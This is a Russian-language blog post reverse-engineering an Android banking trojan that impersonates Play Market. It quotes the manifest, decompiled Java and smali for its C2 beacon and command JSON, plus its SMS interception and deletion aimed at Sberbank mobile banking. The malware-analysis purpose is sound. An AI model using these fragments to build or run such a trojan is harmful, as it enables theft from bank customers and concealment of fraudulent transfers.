Блог программиста
не только о программировании

Дружественные ресурсы:

IntSystem.org | Веб-разработка, все о ней

DevOps-заметки |

11.05.2015

Реверс банковской малвари на Android

android_bank_malware

Введение

Опять, опять спамят "Вам пришло ММС-сообщение!". Конечно, в сообщении только короткая ссылка на foto.apk (сфоткай, типо я - jpeg). Причем без всяких красивостей в браузере, просто сразу отдается бинарник. Но ведь есть люди, и на это ведутся. Решил я посмотреть, на что там можно повестись...

Поверхностный осмотр

Как обычно, малварь написана на Java, никак не обфусцирована. Метод установки в систему стар как мир: маскировка под системное приложение (в данном случае – Play Market). Об эксплуатации каких-либо уязвимостей, кроме головного мозга пользователя устройства, речи не идет.  На данный момент малварь детектируется 23 из 37 антивирусами на virustotal.

Декомпиляция и изучение кода

Просмотр одного только манифеста уже настораживает. Особое внимание рекомендую обратить на запрос привилегий.

<?xml version="1.0" encoding="utf-8" standalone="no"?>
<manifest xmlns:android="http://schemas.android.com/apk/res/android" package="com.android.system" platformBuildVersionCode="21" platformBuildVersionName="APKTOOL">
    <uses-permission android:name="android.permission.GET_TASKS"/>
    <uses-permission android:name="android.permission.INTERNET"/>
    <uses-permission android:name="android.permission.WRITE_SMS"/>
    <uses-permission android:name="android.permission.READ_SMS"/>
    <uses-permission android:name="android.permission.SEND_SMS"/>
    <uses-permission android:name="android.permission.RECEIVE_SMS"/>
    <uses-permission android:name="android.permission.WRITE_EXTERNAL_STORAGE"/>
    <uses-permission android:name="android.permission.WAKE_LOCK"/>
    <uses-permission android:name="android.permission.READ_PHONE_STATE"/>
    <uses-permission android:name="android.permission.READ_EXTERNAL_STORAGE"/>
    <uses-permission android:name="android.permission.READ_CONTACTS"/>
    <uses-permission android:name="android.permission.RECEIVE_BOOT_COMPLETED"/>
    <uses-permission android:name="com.android.system.permission.C2D_MESSAGE"/>
    <uses-permission android:name="com.google.android.c2dm.permission.RECEIVE"/>
    <uses-permission android:name="android.permission.CALL_PHONE"/>
    <permission android:name="com.android.system.permission.C2D_MESSAGE" android:protectionLevel="signature"/>
    <application android:icon="@drawable/surprise" android:label="System">
        <activity android:label="Ошибка" android:name="com.android.system.AppActivity" android:theme="@android:style/Theme.Light.NoTitleBar">
            <intent-filter>
                <action android:name="android.intent.action.MAIN"/>
                <category android:name="android.intent.category.LAUNCHER"/>
            </intent-filter>
        </activity>
        <activity android:label="Play Маркет" android:name="com.android.system.ActivityUssd" android:theme="@android:style/Theme.Light.NoTitleBar"/>
        <activity android:label="@string/app_name" android:name="com.android.system.InstallerActivity"/>
        <receiver android:name="com.google.android.gcm.GCMBroadcastReceiver" android:permission="com.google.android.c2dm.permission.SEND">
            <intent-filter>
                <action android:name="com.google.android.c2dm.intent.RECEIVE"/>
                <action android:name="com.google.android.c2dm.intent.REGISTRATION"/>
                <category android:name="com.android.system"/>
            </intent-filter>
        </receiver>
        <service android:name=".GCMIntentService"/>
        <receiver android:name="com.android.system.SReceiver">
            <intent-filter android:priority="2147483647">
                <action android:name="android.provider.Telephony.SMS_RECEIVED"/>
            </intent-filter>
        </receiver>
        <receiver android:name=".OnBootReceiver">
            <intent-filter>
                <action android:name="android.intent.action.BOOT_COMPLETED"/>
                <action android:name="android.intent.action.QUICKBOOT_POWERON"/>
            </intent-filter>
        </receiver>
        <receiver android:name="com.android.system.ICReceiver">
            <intent-filter>
                <action android:name="android.intent.action.PHONE_STATE"/>
            </intent-filter>
        </receiver>
        <service android:enabled="true" android:name="com.android.system.SurpriseService"/>
        <receiver android:name="com.android.system.SC"/>
    </application>
</manifest>

Исходя из списка привилегий, получаем классического бота под Android: отправка статистики и получение команд через Internet, перехват, отсылка смс. Само собой, автозагрузка. В последнее время набирает актуальность работа с USSD-запросами. Связано это, как мне кажется, в основном из-за поддержки таких запросов банками. То есть, получив доступ к телефону клиента, можно осуществлять переводы на счет злоумышленника. Перехват SMS в этом случае, необходим для удаления приходящих уведомлений, чтобы владелец устройства ни о чем не догадался.

Итак, запуск программы начинает в классе com.android.system.AppActivity. При запуске подгружаются ресурсы для фейкового GUI и запускается служба com.android.system.SurpriseService. Что примечательно, софт использует Google Cloud Messaging для работы. Причем, судя по выводу в Log.d(), код был скопирован из какого-то источника.  Например, из официальной документации.

Второй момент, приложение имитирует собственное удаление.

Возвращаемся к запуску сервиса. Сразу после старта, сервис собирает информацию об устройстве: модель устройства, страну, номер телефона, название оператор, текущий баланс и IMEI.

a.a("Registration");
    Object localObject4 = (TelephonyManager)a.getSystemService("phone");
    Object localObject2 = ((TelephonyManager)localObject4).getDeviceId();
    Object localObject3 = ((TelephonyManager)localObject4).getSimCountryIso();
    String str1 = ((TelephonyManager)localObject4).getLine1Number();
    localObject4 = ((TelephonyManager)localObject4).getSimOperatorName();
    String str2 = Build.MODEL + " v." + Build.VERSION.RELEASE;

Зачем злоумышленникам последний параметр остается только догадываться.  Все это отправляется на сервер GET-запросом: http://serverdomain/controller.php?param1=value1&...paramN=valueN

после чего сервер возвращает завернутый в JSON целочисленный идентификатор бота

{ "response": [{"bot_id": 6216}], "status": "ok"}.

На любой неправильный запрос с точки зрения логики админ-панели сервер возвращает { "response": [], "status": "ok"}.

Полученные результаты бот сохраняет в sqlite-таблицу в открытом виде, после чего запускается таймер проверки команд с помощью AlarmManager на 20 секунд.

g = new JSONObject(new String(((StringBuilder)localObject3).toString())).getJSONArray("response").getJSONObject(0).getInt("bot_id");
          localObject3 = new ContentValues();
          ((ContentValues)localObject3).put("id", Integer.valueOf(g));
          i = new d(a.getApplicationContext());
          j = i.getWritableDatabase();
          j.update("bot_set", (ContentValues)localObject3, null, null);
          i.close();
          a.a("Зарегистрирован id:" + g);
          ((InputStream)localObject1).close();
          ((BufferedReader)localObject2).close();
          d = 0;
          a(a);

  public static void a(Context paramContext)
  {
    AlarmManager localAlarmManager = (AlarmManager)paramContext.getSystemService("alarm");
    c = PendingIntent.getBroadcast(paramContext, 0, new Intent(paramContext, SC.class), 0);
    paramContext = c;
    localAlarmManager.set(0, System.currentTimeMillis() + f * 1000, paramContext);
  }

Также при запуске службы устанавливаются BroadcastReceiver’ы на действия с экраном (вкл/выкл) и USSD-запросы.

public void onStart(Intent paramIntent, int paramInt)
  {
    super.onStart(paramIntent, paramInt);
    a = this;
    this.k = ((PowerManager)getSystemService("power")).newWakeLock(1, "DoNotSleep");
    this.k.acquire();
    a.registerReceiver(this.h, new IntentFilter("server_up"));
    i = new d(a);
    j = i.getWritableDatabase();
    paramIntent = j.query("bot_set", null, null, null, null, null, null, null);

    if (paramIntent.moveToFirst())
    {
      g = paramIntent.getInt(paramIntent.getColumnIndex("id"));
      e = paramIntent.getString(paramIntent.getColumnIndex("server"));
      f = paramIntent.getInt(paramIntent.getColumnIndex("upd_time"));
      a.a("Server:" + e);
      a.a("Bot_id:" + g);
      a.a("Upd_time:" + f);
      if (g >= 1) {
        break label318;
      }
      new Thread(new j(this)).start();
    }

    for (;;)
    {
      paramIntent.close();
      i.close();
      registerReceiver(new k(this), new IntentFilter("USSD_SEND_RECEIVER"));
      paramIntent = new IntentFilter("android.intent.action.SCREEN_ON");
      paramIntent.addAction("android.intent.action.SCREEN_OFF");
      registerReceiver(new l(this), paramIntent);
      return;
      label318:
      a(this);
    }

Запрос команд происходит также с помощью GET http: (http://domain/controller.php?mode=getTask&screen_on=0&bot_id=6218">http://domain/controller.php?mode=getTask&screen_on=0&bot_id=6218].

Результаты:

{ "response": [{"del_intercept": 1, "mode": 0, "sms_id": ["200605"], "sms_text": ["БАЛАНС"], "sms_number": ["900"], "intercept": ["all"]}], "status": "ok"}.

После обработки команды, бот посылает SMS-сообщение, результат перехватывается зарегистрированным BroadcastReceiver’ом com.android.system.SReceiver и отправляется на сервер. Также, перехваченные SMS-сообщения удаляются после отправки. Что не удивительно, ведь, судя по номеру отправки сообщений, софт написан для взаимодействия с мобильным банком Сбербанка. Иногда мне кажется, что разработчиками этот мобильный банк реализован вовсе не для удобства клиента, а для  реализации таких вот махинаций. Весь код запроса команд и обработки выполнен в одном классе com.android.system.g. К сожалению, он не смог нормально декомпилироваться, но ведь это ничуть не мешает изучить код smali.

    new-instance v2, Ljava/net/URI;
    new-instance v3, Ljava/lang/StringBuilder;
    const-string v4, "http://"
    invoke-direct {v3, v4}, Ljava/lang/StringBuilder;-><init>(Ljava/lang/String;)V
    invoke-virtual {v3, v0}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
    move-result-object v0
    const-string v3, "/controller.php?mode=getTask&screen_on="
    invoke-virtual {v0, v3}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
    move-result-object v0
    sget v3, Lcom/android/system/a/a;->i:I
    invoke-virtual {v0, v3}, Ljava/lang/StringBuilder;->append(I)Ljava/lang/StringBuilder;
    move-result-object v0
    const-string v3, "&bot_id="
    invoke-virtual {v0, v3}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
    move-result-object v0
    invoke-virtual {v0, v1}, Ljava/lang/StringBuilder;->append(I)Ljava/lang/StringBuilder;
    move-result-object v0
    invoke-virtual {v0}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
    move-result-object v0
    invoke-direct {v2, v0}, Ljava/net/URI;-><init>(Ljava/lang/String;)V
    invoke-virtual {v2}, Ljava/net/URI;->toASCIIString()Ljava/lang/String;
    :try_end_1
    .catch Ljava/net/URISyntaxException; {:try_start_1 .. :try_end_1} :catch_0
    .catch Lorg/apache/http/client/ClientProtocolException; {:try_start_1 .. :try_end_1} :catch_1
    .catch Ljava/io/IOException; {:try_start_1 .. :try_end_1} :catch_3
    move-result-object v0
    :goto_1
    :try_start_2
    new-instance v1, Lorg/apache/http/client/methods/HttpGet;
    invoke-direct {v1, v0}, Lorg/apache/http/client/methods/HttpGet;-><init>(Ljava/lang/String;)V
    invoke-interface {v12, v1}, Lorg/apache/http/client/HttpClient;->execute(Lorg/apache/http/client/methods/HttpUriRequest;)Lorg/apache/http/HttpResponse;
    move-result-object v0
    invoke-interface {v0}, Lorg/apache/http/HttpResponse;->getEntity()Lorg/apache/http/HttpEntity;
    move-result-object v0

Помимо этого, в софте заложены следующие возможности:

  • рассылка по контактам;
  • отправка архива SMS-сообщений;
  • выполнение USSD-запросов;
  • изменение адреса админ-панели.

Итоги

Никакой сложности в реверсе не было, все открыто и доступно. Прямым текстом, как говорится. При этом авторы оставили обертку вывода Log.d() с сообщениями на русском, что вносит дополнительную ясность в декомпилированный код. Отсутствие какой-либо защиты (хотя на эмуляторе и в Anubis проанализировать на удалось, но это скорее из-за эмуляторных ограничений, а не детектирования), невнимательность при написании кода (Log.d(), тексты исключений при обработке и другие подсказки) и стилистика (строковые константы прямо в коде, скопированные из публичных источников участки кода и т.д.) намекают на то, что если и не школьники, то скорее всего малварь писали студенты, причем, скорее всего проживающие на территории обслуживания Сбербанка. Никакой оригинальности в образце нет, все сделано «в лоб». А зачастую, решение слишком прямолинейное. Например, выдача команд происходит один раз. Если послать запрос повторно, то получим сообщение от сервера: «Заданий нет!». То есть, сервер не проверяет, было ли выполнено предыдущее задание и дошло ли оно до клиента вообще. Оно и понятно, зачем изобретать оригинальные техники, если на хомячках итак работает? На текущий момент только на одном сервере зарегистрировано более 6000 клиентов.

Спасибо за внимание!